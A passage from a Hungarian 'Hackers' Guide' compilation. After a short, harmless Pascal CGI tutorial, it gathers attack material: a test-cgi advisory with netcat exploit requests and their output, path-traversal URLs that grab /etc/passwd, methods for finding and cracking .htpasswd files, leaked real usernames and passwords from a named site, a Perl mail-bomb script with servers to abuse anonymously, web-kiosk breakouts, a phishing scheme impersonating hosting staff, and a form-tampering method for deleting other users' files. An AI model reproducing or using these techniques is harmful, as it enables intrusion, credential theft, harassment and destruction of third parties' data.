<form name="mailto" action="/cgi-bin/back.exe" enctype="application/x-www-form-urlencoded" method="post"> <input name="name" type="Text"> <input name="mailaddress" type="Text"> <textarea name="uzenet" rows="5" cols="30"></textarea> <input type="hidden" name="subject" value="Uzenet a weblapról"> <input type="Submit" value="Küldés!"> <input type="Reset" value="Törlés"> </form>

A pascal program:

uses dos; const br = '<BR>'; var inp : string; begin writeln('HTTP/1.0 200 OK '); writeln('Server: NCSA/1.0a6'); writeln('Content-type: text/html'); writeln; if Getenv('REQUEST_METHOD')<>'POST' then begin writeln('<body>'); writeln('Hasznajl POST metodust!' + br ); writeln('Ez a script csak azzal muxik' + br ); writeln('<a href="mailto:[email protected]">Sun-Zero</a>' + br); writeln('</body>'); halt(1); end;

243

Hackers’ Guide

if getenv('CONTENT_TYPE')<>'application/x-www-form-urlencoded' then begin writeln('<body>'); writeln ('A script ezt nem tudja kezelni,'+br); writeln ('hasznald az <b>application/x-www-form-urlencoded</b> kodolast!'+br); writeln ('Sun-Zero ([email protected])'+br); writeln ('</body>'); halt(1) end; Read(inp); WriteLn('<body>'); WriteLn( br + inp + br); WriteLn('</body>'); end.

A programban a getenv függvény segitségével kérdezhetjük le a szabványos cgi változókat. Itt a "REQUEST_METHOD" a kliens által küldött kérés metódusa, ami lehet GET vagy POST. A "CONTENT_TYPE" pedig a kódolás tipusát tartalmazza (MIME). Még van ezenkivul egynéhány, pl. a "REMOTE_ADDR", ami kliens IP cime, szépen pontokkal elválasztva, vagy a "REMOTE_HOST", ami a kliens hostja, ha nincs akkor pedig az IP cime.

A script kimenete itt látható:

name=Sun-Zero&[email protected]& uzenet=Ez+itt+%FCzenet.%0D%0AItt+volt+egy+sort%F6r%E9s.%0D%0A& subject=Uzenet+a+weblapr%F3l

A kimenet név/érték párosokból áll, ezeket a "&" jellel választják el egymástól. A név/érték párok között egy "=" jel áll. Szóközt nincs a a script bemenetére küldött adatok között. Ezeket a "+" jel helyettesiti, valamint a meg nem jelenitheto karakterek helyén egy "%xx" áll, ahol az "xx" a karakter ASCII kódja hexában.

Irhatunk kimenet nélküli scripteket is, ami a lapon a <script> tagnál scr paraméterként megadva lefut, de látható kimenetet nem produkál. Igy lehet például egyszerübb számlálót késziteni, ami csak növel egy változót, amit kiir egy fájlba. Ekkor nem tudom, hogy kell-e egyáltalán valamit a kimenetre irni, nekem ment mindkét módon. Ilyen módon meg azt is meg lehet figyelni egy egyszerubb scripttel, hogy kik járnak az oldalunkra, a "REMOTE_HOST" változó kiirásával egy fájlba, de vigyázzunk, mert a fájl elég hamar nagy méretre duzzadhat.

Röviden ennyi lenne a cgi scriptekrol, ha valami nem értheto akkor irjatok!

Special thx: Pc-X/StarUser

Sun-Zero [email protected]

244

Hackers’ Guide

************************************************************************************************ A test-cgi sebezhetősége bizonyos beállításoknál

Az alábbi szöveg fordítás,az eredeti szöveget bárki megtalálhatja a http://packetstorm.securify.com oldalon.

L0pht Beszámoló: test-cgi sebezhetőség bizonyos beállításoknál A befolyásolható program: a test-cgi script ami megtalálható a legkülönfélébb web servereken. Súlyossága: Bárki infót kaphat egy gépen lévő fájlokról. Szerző: [email protected] Röviden összefoglalva: Sok web site-on létezik egy file amit test-cgi -nek hívnak (általában a cgi-bin könyvtárban vagy más hasonló helyen). Ez a probléma számos ilyen test-cgi fájlal. Ha a test-cgi fájlod tartalmazza a következő sorokat (szószerint) akkor valószínűleg sebezhető vagy. echo QUERY_STRING = $QUERY_STRING Ezen sorok mindegyikében be kellett volna zárni a változókat az utolsó idézőjelnél (").Ezen idézőjelek nélkül bizonyos speciális karakterek (különösen '*') jogokat kap ahol nem kellene.Így végrehajtódik a '*' kérés és visszaküldi az aktuális könyvtár tartalmát (valószínűleg ahol a cgi fájlok mindegyike van...jé,ott van a jj és phf. Hmmm mi van azokkal a többi cgikkel amit nem látok... vajon milyen lyukak létezhetnek azokban?). Elküldöm egy kérésben a '/*' -ot,akkor kilistázza a root könyvtárat.És így tovább, stb. Ez ugyanolyan mint amit az 'echo *' csinál amikor kijátszod az 'ls' -t (nem mintha ez valaha bárkivel megtörténne). A legegyszerűbb módja a könyvtárak kilistázásának a kérdező string. Azonban, lehetséges hogy hasonló dolgokat csinálj a sok más változóval (mint pl.: $REMOTE_HOST, $REMOTE_USER, stb.) a jobbik esetekben. A javítás: A gyors javítás hogy idézőjelekt helyezünk az összes változó köré a test-cgi fájlban (ezt kellett volna már az elején is!). echo QUERY_STRING = "$QUERY_STRING" Ez a hibás fájl látható még legalább néhány NCSA, és Apache verzióban.

245

Hackers’ Guide

Példa exploit: Lentebb példák vannak (nc az a netcat az avian.org-ról,ha nem lenne meg leszedheted mint hasznos segédprogit. Mindig csak rá kell telnetelned a 80-as portra és írd be a GET... parancsot.) machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is /\*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = Vagy hogy lásd milyen cgi-szépségek áraszthatnak még el... machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is \*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html mail-query mail-query-2 majordomo majordomo.cf marker.cgi menu message.cgi munger.cgi munger.note ncsa-default.tar post-query query smartlist.cf src subscribe.cf test-cgi uptime

246

Hackers’ Guide

REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH =

Fordította: Thief Hu - mailto: [email protected] ************************************************************************************************ Néhány CGI bug csak röviden

Szóval néhány hibás CGI, melynek segítségével megszerezhetjük az áldozat gépén lévő passwd vagy esetleg shadow fájlt persze csak "FOR EDUCATION ONLY", aztán nem visszaélni ilyenekkel... A rendszergazdák figyelmét meg felhívnám a tökéletes konfiguráláshoz, főleg ha shadow vagy passwd fájlról van szó... :-) Mert néhány szerver néha elvan állítva...

[n3sT4n] mail2: [email protected] Az eddigi segítséget köszönöm Formater-nek, RSC-nek, Sun-Zero-nak, Voyager2-

nek és a többieknek...

***

1.) View-source Exploit Amennyiben egy olyan szerverrel van szerencsénk, amelyik az említett fájlt tartalmazza nincs is más teendőnk mint megnyitni az alábbi hivatkozást böngészőnkbe, hogy válaszol a passwd fájlt megkaphassuk... http://aldozathostja/cgi-bin/view-source?../../../../../../../etc/passwd 2.) Htmlscript Exploit Hasonló az előzöhöz, ugyancsak passwd fájl lesz a jutalmunk... http://aldozathostja/cgi-bin/htmlscript?../../../../etc/passwd 3.) Webstore CGI Exploit Akárcsak az előzöket követve ennek is a lényege az /etc/passwd megkaparintása... http://aldozathostja/cgi-bin/Web_store/web_store.cgi?page=../../../../../../../../etc/passwd%00.html

247

Hackers’ Guide

4.) Yabb CGI Exploit Utálom ismételni magamát, de ugyancsak egy hibás CGI melyel magunkévá tehetjük :> az áldozat DES-es kódolású jelszavait... persze ha nincsenek shadow-olva... http://aldozathostja/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../etc/passwd%00 5.) HSX CGI Exploit Ezek után már unalmas lehet, de ismét egy passwd szerző CGI... http://aldozathostja/cgi-bin/search/hsx.cgi?show=../../../../../../../../../etc/passwd%00 6.) WRAP Exploit Ha már unjunk a passwd fájlokat itt egy CGI, amivel a teljes ETC könyvtárt végigsasolhatjuk... http://sgi.victim/cgi-bin/wrap?/../../../../../etc ************************************************************************************************ Két .cgi exploit Felhasznált dokumentum: "Hack-FAQ <Volume 4>" /Wang/ Megnézünk két cgi exploitot, amelyek segítenek feltörni egy webszervert. Az elso a nph-test-cgi exploit. Ez információkat ad a webszerverrol, ha helyesen használjuk. Legyen a szerverünk neve www.halalfej.hu. Írjuk be a böngészonkbe a következo sort:

http://www.halalfej.hu/cgi-bin/nph-test-cgi

Ha hibaüzenetet kapunk, akkor baki, de ha nem, akkor másra is fel tudjuk használni ezt a cgi-t. Írjuk be:

http://www.halalfej.hu/cgi-bin/nph-test-cgi?/etc/*

Ezzel megtekinthetjük a /etc könyvtár tartalmát (ahol a jelszófájl is van). Ha a root-könyvtárra van szükségünk, akkor írjuk: http://www.halalfej.hu/cgi-bin/nph-test-cgi?/* Most nézzük a másik exploitot. Ez lehetové teszi, hogy megtekintsd egy fájl tartalmát (régebben még muködött a phf exploit is, de ma már ritka). Írjuk be:

http://www.halalfej.hu/cgi-bin/php.cgi?/etc/passwd

248

Hackers’ Guide

ezzel meg tudjuk nézni a jelszófájl tartalmát (ha megvan ez a cgi a szerveren, és van hozzáférésünk anonymous-ként). Ha nem shadow-olt a jelszófájl, akkor egyszeruen másoljuk be a tartalmát egy txt fájlba és futtassuk végig a kedvenc jelszófeltöro programunkat rajta. Ha shadow-olt, akkor finomabb technikákra lesz szükség.. ************************************************************************************************ "Vadász Gábor OnLine" jelszavak (by Szabby)

Egyik nap találtam egy eléggé béna oldalt (vadaszg.mixim.hu), és ott volt egy olyan rész, hogy "Jelszóval védett zóna" ... Húha, nagyon megijedtem, hogy ezt nem tudom megnézni ! :)) Első dolgom az volt, hogy megnéztem az oldal forrását. A beléptető egy Java Applet, aminek ugyebár vannak paraméterei. Találtam is egy igen érdekes sort : <param name="File" value="lock.txt> És itt a "lock.txt" a lényeg !!! Ezután szépen beírtam URL-nek a következő címet : http://vadaszg.mixim.hu/homepages/pages/lock.txtÉs lám, mit kaptam ??? Hát nem a jelszavakat ?? De bizony ! A fenti címen biztos egy frisebbik verzió van, de ha kell a 2000. október 5-i állapot, akkor kattints ide ! Itt most csak a loginokat + jelszavakat írom le, úgyis csak az kell. sex : szex vadaszg : vad1986 narancs : starwars vadaszg : vadaszg zsolti : ponyeczki dini : dinike premier : 5 imi : imi premier : serial jagar : akos zrinyi : zrinyi vadaszg : scheiber Vamos : fubu Végül pedig bocs Gabikától, de ha ennyire hülye, akkor megérdemli, hogy megnézhessék a "jelszóval védett" oldalait ...

249

Hackers’ Guide

************************************************************************************************ Jelszóvédett weblapok feltörése Biztos vagyok benne, hogy jártál már olyan weboldalon, ahol amikor a lap valamely részét próbáltad elérni, egy kis párbeszédablak bukkant föl, és felhasználói nevet és jelszót kérdezett. Ez gyakori megoldás olyan webhelyeken, ahol bizonyos okok miatt megtiltják az elérést a nyilvánosságnak. Ez a következoképpen muködik: Abban a könyvtárban a webszerveren, amelyik jelszóvédett, van egy fájl, aminek a neve majdnem mindig .htpasswd. Ugyanabban a könyvtárban (de lehet, hogy máshol) van egy másik fájl, a .htaccess. Ez a két fájl ellenorzi a hozzáférést a titkos könyvtárhoz, amelyhez hozzá akarsz férni. Ahogy említettem, ez a két fájl gyakran ugyanabban a könyvtárban van. Az alapötlet az, hogy a webhely tulajdonosa könnyedén megtilthatja az embereknek a hozzáférést a könyvtárhoz, csak egyszeruen ezt a két fájlt kell a könyvtárhoz adnia. Amikor pedig valaki megkísérel hozzáférni egy fájlhoz a könyvtárban, a szerver megnézi, hogy létezik-e .htpasswd és .htaccess file a könyvtárban, és ha igen, akkor megkérdezi a felhasználónevet és jelszót.

A .htpasswd fájl tárolja a felhasználói neveket és jelszavakat (amelyek titkosítva vannak). Alapjában úgy néz ki, mint egy unixos jelszófájl, csak rövidebb. Itt egy példa:

Graham:F#.DG*m38d%RF Webmaster:GJA54j.3g9#$@f

Vegyük észre, hogy a formátum a következo: Felhasználóneve:Jelszava

Tehát mi lenne, ha megnéznénk a .htpasswd fájlt, és kiolvasnánk belole a felhasználói neveket és jelszavakat? Na itt a probléma. Csak azok a fájlok vannak védve, amelyek azon a könyvtáron belül vannak, ahol a .htaccess is van. Ha a .htpasswd ugyanabban a könyvtárban van, mint a .htaccess, akkor nem tudod megnézni a tartalmát anélkül, hogy tudnád a jelszót (tehát meg vagy love). Viszont néha a .htpasswd nincs benne ebben a könyvtárban, tehát nincs védve!

Tehát ott tartunk, hogy találtunk egy webhelyet, a következo jelszóvédett könyvtárral:

http://www.company.com/cgi-bin/protected/

Tény, hogy van egy fájl a /protected/ könyvtárban, a .htaccess, ami védi. De mi van, ha a .htpasswd nincs a védett könyvtárban? Ezt egyszeruen kideríthetjük. Írjuk be a böngészonkbe ezt az URL-t:

http://www.company.com/cgi-bin/protected/.htpasswd

250

Hackers’ Guide

Ha ilyesmi hibaüzenetet kapunk: "File not found" vagy hasonlót, akkor a .htpasswd máshol van a rendszeren, és bizonyára nem védett. Ilyenkor próbálkozni kell különbözo könyvtárakban, hátha bennük van:

http://www.company.com/.htpasswd http://www.company.com/cgi-bin/.htpasswd http://www.company.com/cgi-bin/passwords/.htpasswd http://www.company.com/cgi-bin/passwd/.htpasswd

satöbbi, satöbbi, satöbbi, amíg meg nem unod és fel nem adod, vagy meg nem találod a fájlt.

Ha megtaláltad, a tartalma úgy fog kinézni, mint a fenti példában, és most már rátérhetünk, hogy hogyan kell visszafejteni a jelszót! Ugyanazt a kódolási algoritmust használja, mint az unix jelszófájlok. Tehát fogod a John the Ripper -t, vagy a Crackerjack -et, vagy a kedvenc unixos jelszótöro programodat és átfuttatsz rajta egy szólistát vagy bruteforce -val feltöröd.

Nemrég találtam egy webhelyet, amely ezzel a technikával muködött, és a .htpasswd a root-könyvtárban volt. ************************************************************************************************ Webes levelbomba kuldes [ fLip! ] ***** be rakva egy rakas hiba, hogy na legyen gyereknap a sulineteseknek ;)

A kovetkezokben egy program ismertetese olvashato, amivel webrol es nevtelenul kuldhetunk levelbombat akarkinek. Ehhez azonban szuksegunk lesz egy olyan szerverre, ahol van jogunk futtatni CGI szripteket (lasd lejjeb).

A programunk az adatokat az URLben kapja, egy HTML formon keresztul:

<form action="bomber.cgi" method="get"> <input type="text" name="kinek" value="kinek"> <input type="text" name="hanyszor" value="hanyszor"> <input type="submit"> </form>

A "kinek" mezoben adjuk meg a szerencsetlen email cimet, a "hanyszor" mezobe pedig azt, hogy hany levelet kapjon.

Most a "bomber.cgi"-t:

251

Hackers’ Guide

#!/usr/bin/perl # megadjuk, hol van a perl-fordito (nem minden szerveren van pont #_itt_, nezzunk utana. print "Content-type:text/html\n\n"; $adat=$ENV{QUERY-STRING}; ********* ^ itt, a kotoljel(-) helyett alhuzas(_) kell, direkt hiba. # beolvassa az adatokat az urlbol, ami valahogy igy nez ki: # http://szerver.com/bomber.cgi?kinek=kinek&hanyszor=hanyszor $adat =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $adat =~ tr/+/ /; # az adatokbol hasznalhato dolgokat csinal ($k, $h)=spit(/\&/,$adat); ($a,$kinek)=spit(/=/,$k); ($a,$hanyszor)=spit(/=/,$h); *********** spit helyett split kell, hiba bezony ez is # itt szetszabdaljuk az adatokat, a $kinek-ben van az cim, # a $hanyszorban pedig a szam print "$kinek x $hanyszor\n"; # kiirja a dolgokat a bongeszonek, ez igazabol nem fontos $mailprog = '/usr/sbin/sendmail'; # ebben a valtozoban van, hogy hol van a szerveren a sendmail # program. Lehet, hogy par helyen nem itt van, utananezes. for ($i=0;$i<=$hanyszor;$i++) { # ciklusba kezd, $hanyszor darabszor $r1=int(rnd(9999999999999)); $r1 =~ tr/1234567890/asdfghjklm/; $r2=int(rnd(9999999999999)); $r2 =~ tr/1234567890/asdfghjklm/; $r3=int(rnd(9999999999999)); $r3 =~ tr/1234567890/asdfghjklm/; $r4=int(rnd(9999999999999)); $r4 =~ tr/1234567890/asdfghjklm/; ******** rnd hejett rand kell igazabol. hiba. # general 4 veletlenszamot, aztan betuket csinal beloluk open(MAIL, "|$mailprog -t"); print MAIL "To: $kinek\n"; print MAIL "From: $r1@$r2.cf\n"; ****** ^itt, a kukac elott van egy visszaper(\), kulonban a perl tombnek kepzeli, es kiakad. Direkt hiba. igy: print MAIL "From: $r1\@$r2.cf\n"; print MAIL "Subject: $r3\n\n"; print MAIL "$r4\n"; close($mailprog); ***** a $mailprog hejett MAIL kell, szal close(MAIL); # a levelunk megirasa es elkuldese }

Az oldozat a leveleiben csak a webszerver IPjet latja, ahol futott a szkriptunk.

Es hogy nem tudunk szervereket, ahol van CGI futtatasi jog? Tessek, it van par:

252

Hackers’ Guide

www.swi.hu www.hypolit.net www.virtualave.net www.fiberia.com

Annak ellenere, hogy elv. nem latjak az IPnket, ajanlatos esszel csinalni, peldaul kulfoldi szerverrol, ahonnan nehezebb megkerdezni, hogy ki toltotte fel, vagy futatta a programot. Es persze levelbombat nem illik kuldeni, csak ha nagyon fontos, mert bunko dolog.

[ flip! ] ************************************************************************************************ Altavista.Com ...avagy a hackerek legjobb bûntársa

Altavista.Com - ...avagy a hackerek legjobb bûntársa -

Remélhetõleg sokak fantáziáját megmozgatta az, hogy milyen lehet egy weboldalt vagy egy szervert feltörni... Sokan talán nem is tudják, hogy milyen egyszerû, sokan pedig azt hiszik, hogy "okosak" és õk mindent tudnak, ha valaki pedig részben megemlíti a dolgot, akkor csak annyit mondanak, hogy: ugyanmár... te nem vagy normális... megörülték... jajj, már megint egy lamer stb. stb. Pedig ez nem így van... Néha a hackerkedésben a legnagyobb segítséget nem egy jó társtól kapjuk, hanem a címben említett bönégszõszervertõl... Ugyebár az Altavista.Com szerverei minden egyes gépet szép sorjában végígjárnak és indexelik a fájlokat, tartalmakat stb. Néha találnak olyan szervereket is, amelyek nincsenek rendesen bekonfigurálva, beállítva vagy éppen nincs feltelepítve a Service Pack, és így Bug-ok ezreit fogják számunkra leindexelni... Ez eddig mind szép és jó, de hogy tudjuk mi ezt használni? Egyszerûen... Keressünk rá dolgokra az Altavista honlapján...

1. Példa: Gondolom tudod, de ha nem, akkor elmondom... A Linux kódja az /etc/passwd alatt találhatóak... Vagyis a fájl neve, ami kellene a "passwd fájl... Most gépeljük be a Keresésnél, hogy "url:/etc/passwd" és keressünk rá a dologra... Hirtelen találatok tucatjait látjuk... Nem kell ennyire örülni... nem mindegyik használható majd :) Szóval keresgéljünk olyanokat, amelyek elsõ sora az alábbi képpen épül fel a "root" azonosító után, pontosabban a root szó utáni kettõspontot több "össze-vissza" karakter követi... Ha ilyet találunk... és fogunk is találni, akkor nyert ügyünk van... Sikerült szereznünk egy linuxos password fájlt... Jó, ennek segítségével persze még nem tudunk szervert törni, de a nagyja megvan ;) A kódfájl feltöréséhez a John The Ripper 1.6-ot használjátok... Azért szeretném felhívni a

253

Hackers’ Guide

figyelmet arra, hogy a törés nem csak napok kérdése lehet... hanem akár hetekig is eltarthat...

2. Példa:Szóval van valami õsrégi exploit FrontPage Webserverre... Ezt is fellehet használni... Egyszerûen csak írjuk be az Altavista-ba, hogy:"url:/_vti_pvt/users.pwd"és lás csodát... Ezek után mindössze csak annyit kell tenni, hogy kiegészítsd a letöltött fájlokat úgy, mintha linuxosok lennének és uzsgyi rá a John The Ripper...

Vég:A többit találjátok ki ti :) ... Én csak megpróbáltam bennetek feléleszteni a kedvet, hátha ezután mégtöbb hacker ifjonc lesz... Remélem persze nem olyan, akik magukat hackernek valják a doksi elolvasása után... Még én is tudom magamról, hogy nem vagyok hacker ;) csak szeretnék az lenni...

Nestan [FCF] mailto:[email protected]

·

Külön köszönet a segítségért az alábbiaknak: Formater

Ui.: Eredetileg példákkal akartam illusztrálni cikkemet, de szóltak, hogy ez már bûncselekménynek számít... Úgyhogy elnézést kérek mindazoktól, akik hiányolták. ************************************************************************************************ Webterminál hackelések Ismertető Ugye tudjátok mi az a webterminál? Ezek (GYORS!) internetes számítógépek, budapest néhány pontján elhelyezve, érintőbillentyűzettel + touchscreennel. Ilyen van a budagyöngye bevásárlóközpontban, a déli pályaudvarnál (azon a tájékon ahol jegyeket lehet venni), és még két más helyen. A képernyő felső részében reklámok mennek, alul pedig van tálca, de persze csak a meglévő ablakok közötti váltásra. A tálca két szintes, a felsőbbi szinten az explorer ablakok kapnak helyt, az alsó szinten pedig az egyéb futtatható alkalmazások, pl. windows média lejátszó, távoli helyekre. Amikor rákattintasz egy MP3-ra, akkor bejön ez a lejátszó, és elkezdi lejátszani. Helyi file-ok megnézése Ha a file/open parancsot választod, akkor azt hinnéd, hogy meg van hackelve, és böngészhetsz a helyi file-ok közül, de akkor tévedsz, mert ez is meg van csinálva, hogy az egyéb programok ne lássanak semmit a "Saját gép"-en belül. Viszont tegyük

254

Hackers’ Guide

fel, hogy te mégis meg akarsz nézni egy-két file-t a gépen, mert ugyebár ez is csak egy normál windowsos gép speciális explorerrel. Annyit kell tenned, hogy elmész egy ingyenes levelező helyre, pl. a freemail.c3.hu, és küldesz magadnak egy levelet, és rakttintasz arra, hogy "Melléklet", vagy "Attach", a lényeg, hogy kérd hogy mellékelhess egy file-t a levélhez. És be fog jönni a helyi winyó! Kipróbált dolog, én így már csomó file-t lehoztam a déli webtermináljáról! Otthon extractold, aztán már nézheted is. Ha text file, akkor a webterminálon is elolvashatod. Módosítás: a winyó úgy hallottam, hogy igazából csak egy ramdrive... de attól még írható igaz elveszik amikor újra frissítik a gépet. De lehet hogy nem is ramdrive. Bármilyen program elindítása Nagyon egyszerű. A lényeg hogy uploadolj valahova egy ".gmt" kiterjesztésű file-t, persze ezt még valahonnan otthonról. Aztán a webterminálon egy lapon kattints rá. És meg fogja kérdezni hogy megnyissa, vagy lementse -e a dokumentumot. Mondd azt hogy nyissa meg, és utána kiválaszthatod, hogy mivel nyitod meg :)))))))))))) Vagy beírhatsz egy programot gondolom innen már nem nehéz. :) Ja és ha nem akarsz uploadolással bajlódni akkor itt is van egy GMT file, ezt akár közvetlenül is használhatod a helyszínen: valami.gmt Magamnak pedig itt egy IPQUERY: ipquery.gmt ...és egy boserve :)) : boserve.gmt Képernyő forgatása Van néhány vicces dolog amit a webterminálokkal csinálni lehet, egyik közülük, hogy el lehet forgatni 90 fokosan a képernyőt, illetve vissza. A touchscreen attól persze még ugyanúgy fog működni, tehát picit furcsa ilyenkor kezelni. Ez akkor jó, ha valaki mögötted van, és ki akarsz vele cseszni. Ezt úgy kell, hogy lenyomod a Ctrl-t, a bal shiftet, és az R betűt. Ennyi az egész. Az explorer újraindítása Ha csomószor egymás után gyorsan nyomogatod a képernyő megfordításának a bill. kombóját (csak az R betűt engedd fel és újra nyomogasd le, a többit nem kell), akkor egy idő után kiírja, hogy programhiba, kilép magából, aztán újra bejön. Ha nagyon összekuszálódott a képernyő, és nagyon nem működik semmi, akkor használhatod ezt az újraindításhoz. Állítólag mielőtt még visszalépne az explorerbe, kinn lehet maradni a windows-ban, de nem tudom hogy. Ha valaki tudja, az írjon nekem! (MaD MiND) A webterminál kikapcsolása http://www.extra.hu/c3hack/close.htm A webterminál kétszer rá fog kérdezni, hogy tényleg be akarod -e zárni az ablakot, ekkor mindig válaszolj "OK"-val. Ennyi. Kibaszások Zárd be az összes ablakot, hogy csak egy maradjon (azt már úgyse lehet bezárni!), és hívd be az internet land-et, de a végére tedd az index.html-t: www.extra.hu/internetland/index.html Vagy hívd be normálisan, de akkor a reklámablakot zárd be, a lényeg, hogy az internet land legyen az egyetlen ablak, majd kattints a lapon található "Evil inside" logóra. így az InterNet Land úgy fog ott maradni, hogy nem lehet róla elmenni, se bezárni, se semmi.

255

Hackers’ Guide

Billentyűkombók Kattints a tálcára, úgy, hogy a tálca legyen a windows focusban. Szóval nem egy programot kell behívni róla, csak hogy simán fenn legyen a tálca. Nyomd meg az alt+entert....... vagy próbálkozhatsz egyéb ritkán dokumentált kombóval: alt+tab, alt+space, ctrl+enter, alt+enter, satöbbi! ************************************************************************************************ Extra hack Ha a www.extra.hu címen ingyen homepage-et csinálsz magadnak, egy E-MAIL címet is kapsz, amely könyvtá[email protected] formátumú. Mivel az Extra-sok E-MAIL címei szintúgy @extra.hu-ra végzôdnek, ez könnyen felhasználható a klónozásukra, amennyiben egy gyanútlan HP tulajjal kerülünk szembe. Csinálhatunk pl. egy www.extra.hu/rendszergazda oldalt - ekkor a mail címünk [email protected] lesz. Ezután nincs más hátra, csak egy levelet kell írnunk a kiszemelt HP tulajdonosának (ha az illetô nem használja az EXTRA-s címét, akkor jobbak az esélyeink), melyben közöljük, hogy ô nyerte a sorsolást - leszedjük az oldala megnézésekor feljövô bannert. Amennyiben élni akar az ajánlattal, küldje el (felhasználónevét és) jelszavát a [email protected] címre (ezt állítjuk be visszatérési címnek is, real name-nek pedig [email protected] vagy valami hasonló), hogy manuálisan eltávolíthassuk. A levél végére az EXTRA szokásos befejezése kerüljön: ________________________________________________________ - Ha tobb levelvaltasra is sor kerul ugyanabban a temaban, akkor hagyd benne a levelben az osszes elozot es csak reply-t nyomj ! - Reszunkre csak ekezet nelkuli(!), szoveges (NEM HTML) levelet kuldj! ________________________________________________________ Ezután csak ülni kell, s várni... =] Fontos! Az extra-s címed levéltovábbító cím, arra a címre forward-ol, amit a HP készítésekor megadtál. Ide érdemes freemail címet írni. Ha az oldalt nem használod, a hack után töröld - így nehezebb esetlegesen visszanyomozni téged, és más is használhatja majd...

Video

256

Hackers’ Guide

************************************************************************************************ Re: Extra hack

Egy kis megjegyzes az itt megjeleno extra hack cimu irashoz. Tudom ez most mar nem biztos, hogy aktualis, mert ugye az extra bt. vagy mi a szosz sem olyan ostoba. Bar teny, hogy nagyon jo otlet, es biztosan sokan kiprobaltak, de azert van (volt) egy-ket buktatoja is a dolognak. Eloszor is gondolom nem csak profi hacker emberfajzatok csinaltak, hanem kezdo (lamer) es tanulni akarok is kiprobaltak. Ha megcsinaltad a Hp-t es ugye a cimed is megvan, es belefogsz a level irasaba, akkor nem szabad egy dologrol semmikep sem elfeledkezni. Ha kesz es el akarod kuldeni, akkor eloszor nezd meg, hogy milyen mail szerver van beallitva, mert ugye abbol mar ki is tudjak deriteni, hogy ki kuldte. Ha az extra nem is fogja tudni, de ha a sulid vagy a szolgaltatod mail szerveret hasznalod, akkor az ottani rendszergazda biztosan tudni fogja, ha vegignyalazza azt a franya filet, ami rogziti a szerver forgalmat. (Az utobbinal szerintem ez nem valoszinu, de ki tudja.) Ha az nem is törvenyesen van ott es rogziti a forgalmat. Es ha elkaptak, akkor esetleg veszhet az ottani accod, vagy ki is vaghatnak. Tehat a beallitasoknal a mail szervert meg kell valtoztatni valami masra. Ilyen szervereket talalhatsz a neten. De ez most mar szerintem nem fog mukodni, mert akinek van valamilyen koze az extrahoz, az mar tudja hogy mi a dorges, es nem fog bedolni senkinek es semminek. De ez barmilyen levelirashoz igaz, soha ne a sulid es a szolgaltatod mail szerveret hasznald, mert annak lesznek kovetkezmenyei ha rajonnek. Szoval ennek az egesznek a celja az volt, hogy figyelmeztessen arra, hogy M I N D E N T G O N D O L J V E G I G K E T S Z E R, mielott belevagsz!!!

Cyberfly ************************************************************************************************ Hogyan hackeljük meg az Extra.Hu-t

Intro: Ez a text abból az alkalomból készült, hogy az extra letörölte az összes ewarezhez tartozó regisztrációt. Nem vagyok híve nagyon a bosszúnak, de azért ez picit sok.

257

Hackers’ Guide

Ilyenkor szoktak az emberek nagyon begurulni. Én is, és a tagok is ezt teszik. Azért én nem szórok átkokat, és azt is tudom, hogy ez a fajta visszavágás neméppen etikus. Nem akarok nagyképû lenni, de nem tudja még az extra kivel szórakozik. Persze én is tudom, hogy ahogy valahogy értesül az extra errõl, egybõl leáll, de akkor már valószínüleg késõ lesz. Ha valaki utálja, akkor arra fognak ébredni, hogy nincs www könyvtáruk. Persze ezzel nemcsak az extrával cseszel ki, hanem az összes felhasználójával. Na ennyi elég volt a dumából, jöjjön a lényeg. A LÉNYEG: Szóval: csinálj egy regisztrációt. Ez pár perc. További teendõid felsorolásképpen: 1. Jelentkezz be 2. Menny rá a villám fájlkezelõre, ami fel van cserélve a részletessel, fogalmamsincs, mért.. 3. Mentsd le a winyódra a htmlelt. 4. Nyisdd meg NotePaddal. 5. Keress rá a az userdir szóra. Itt álljunk meg... Szóval, kapsz valami ilyesmit: input type="hidden" name="userdir" value="/www/extra/akármi" Szóval, ezt írd át az áldozat könyvtárára. gy.k.: "/www/extra/internetland". Persze lehet csak simán "/"-t írni, így megkapod a gyökérkönyvtárat (majd ott törlöd a www mappát;)). Keress rá még párszor, és ha talál valamit, írd át az elözõkhez hasonlóan. Ha mindezzel megvagy, mentsd el a fájlt, majd zárd be az összeset, hogy csak egy maradjon. Ott jelentkezz be az extrához, de ne menj tovább a filemanagerhez, maradj simán a karbantartásnál. Ezekután kattints kettõt a megbuherált htmlre. Egyenlõrre még csak a saját fájljaidat látod, de ha üres mezõvel rákattintasz az új fájlra, bejön a kívánt könytár, ahol azt csinálsz, amit akarsz... (törlés, feltöltés, könytár- mûveletek, txtk, htmlek szerkesztése). Na igen. Csak html és txt fájlokat tudsz online szerkeszteni, tehát az etc/passwd-rõl le is mondhatsz;). Ebben a textben nincsenek elrejtett bugok, minden mûködik egybõl. Akinek meg nem világos a megfogalmazás/túl lamer az ilyenekhez, az bekaphatja. Ja, és az extra örülhet annak, hogy felhívtuk a figyelmüket a rendszeren 